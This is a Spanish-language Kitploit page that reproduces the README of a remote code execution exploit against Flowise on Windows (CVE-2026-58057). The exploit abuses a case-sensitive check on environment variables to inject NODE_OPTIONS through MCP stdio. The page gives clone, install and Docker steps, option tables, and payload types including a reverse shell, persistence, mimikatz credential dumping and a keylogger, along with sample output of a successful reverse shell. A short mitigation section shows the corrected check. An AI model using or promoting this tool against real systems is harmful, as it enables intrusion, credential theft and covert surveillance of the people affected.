Flowise-CVE-2026-58057-exploit — Exploit de RCE de Flowise para Windows (CVE-2026-58057). Omite la validación de variables de entorno mediante una falla que distingue entre mayúsculas y minúsculas. Usa node_options para inyectar código arbitrario a través de MCP stdio. Admite reverse shell, persistencia, subida de archivos y volcado de credenciales. Solo para pruebas de seguridad autorizadas. | Kitploit

# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous:  # Only blocks exact uppercase match
    raise ValueError(f"Modification not allowed")

# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit

# Install dependencies
pip install -r requirements.txt

# Or minimal installation
pip install requests urllib3

FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]

Opción	Descripción	Ejemplo
`-t, --target`	URL de Flowise (requerida)	`http://localhost:3000`
`-k, --api-key`	Clave API de Flowise	`flowise_abc123...`
`-u, --username`	Nombre de usuario	`admin`
`-p, --password`	Contraseña	`password123`

Opción	Descripción	Ejemplo
`--payload`	Tipo de payload	`reverse_shell`
`--lhost`	Host del listener	`192.168.1.100`
`--lport`	Puerto del listener	`4444`
`--command`	Comando a ejecutar	`whoami`
`--local-file`	Archivo a subir	`payload.exe`
`--remote-path`	Ruta remota de guardado	`C:\\Temp\\update.exe`

Payload	Descripción	Argumentos
`reverse_shell`	Conexión de regreso al listener	`--lhost`, `--lport`
`bind_shell`	Abrir puerto de escucha	`--lport`
`command_exec`	Ejecutar comando	`--command`
`file_upload`	Subir archivo al objetivo	`--local-file`, `--remote-path`
`persistence`	Instalar persistencia	Ninguno
`info_gather`	Recopilar información del sistema	Ninguno
`mimikatz`	Volcar credenciales	Ninguno
`screenshot`	Capturar pantalla	Ninguno
`keylogger`	Instalar keylogger	Ninguno

# Fixed Validation (Case-Insensitive)
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key.upper() in dangerous:  # Case-insensitive check
    raise ValueError(f"Modification not allowed")

[14:32:15] ℹ Starting exploit sequence...
[14:32:15] ℹ Attempting authentication...
[14:32:16] ✓ Authenticated with API key
[14:32:16] ℹ Preparing reverse_shell payload execution...
[14:32:16] ℹ Injecting environment variable...
[14:32:17] ℹ Triggering payload execution...
[14:32:19] ✓ Payload 'reverse_shell' executed successfully!
[14:32:19] ℹ Reverse shell listener ready on 192.168.1.50:4444

[14:32:15] 🔍 Session created with retry strategy
[14:32:15] 🔍 Using existing workspace: ws_123456
[14:32:16] 🔍 Loader written: /tmp/loader_1234_1234567890.js
[14:32:16] 🔍 MCP stdio configuration updated

Problema	Solución
Error de certificado SSL	`pip install --trusted-host pypi.org -r requirements.txt`
Permiso denegado	`pip install --user -r requirements.txt`
Conexión rechazada	Verifica la URL del objetivo y la conectividad de red
Autenticación fallida	Revisa la clave API o el nombre de usuario/contraseña
El payload falla	Usa `--verbose` para una depuración detallada
Versión de Python	Asegúrate de tener Python 3.6+ instalado

# Enable verbose logging
python3 exploit.py -t http://localhost:3000 -k API_KEY --verbose

# Test connectivity
curl -k https://localhost:3000/api/v1/version

# Check Python version
python3 --version

flowise-CVE-2026-58057-exploit/
├── exploit.py          # Main exploit script
├── requirements.txt    # Core dependencies
├── README.md          # This documentation
├── LICENSE            # MIT License
└── CHANGELOG.md       # Version history

Opción	Descripción
`--interactive`	Iniciar shell interactivo
`--verbose`	Habilitar salida de depuración
`--timeout`	Tiempo de espera de la solicitud en segundos
`--retries`	Número de reintentos

Flowise-CVE-2026-58057-exploit

Más Populares

Acerca de

Flowise CVE-2026-58057 - Exploit de ejecución remota de código en Windows

📋 Descripción general

⚠️ Descargo de responsabilidad

🔍 Detalles técnicos

Causa raíz de la vulnerabilidad

Mecanismo del exploit

✨ Características

Capacidades principales

Características técnicas

📦 Instalación

Requisitos previos

Instalación rápida

Instalación con Docker (opcional)

🚀 Uso

Opciones de línea de comandos

Opciones de autenticación

Opciones de payload

Opciones de ejecución

📝 Ejemplos de uso

1. Reverse Shell básico

2. Reverse Shell interactivo

3. Ejecución de comandos

4. Subida de archivos

5. Volcado de credenciales (Mimikatz)

6. Instalación de persistencia

7. Recopilación de información

8. Captura de pantalla

🎯 Tipos de payload

🛡️ Mitigación

Actualizar Flowise

Soluciones alternativas

Código corregido

📊 Ejemplos de salida

Exploit exitoso

Modo verbose

🐛 Solución de problemas

Problemas comunes

Comandos de depuración

📁 Estructura de archivos

🤝 Contribuciones

📜 Licencia

🏆 Agradecimientos

🔗 Referencias

📧 Contacto

⭐ Soporte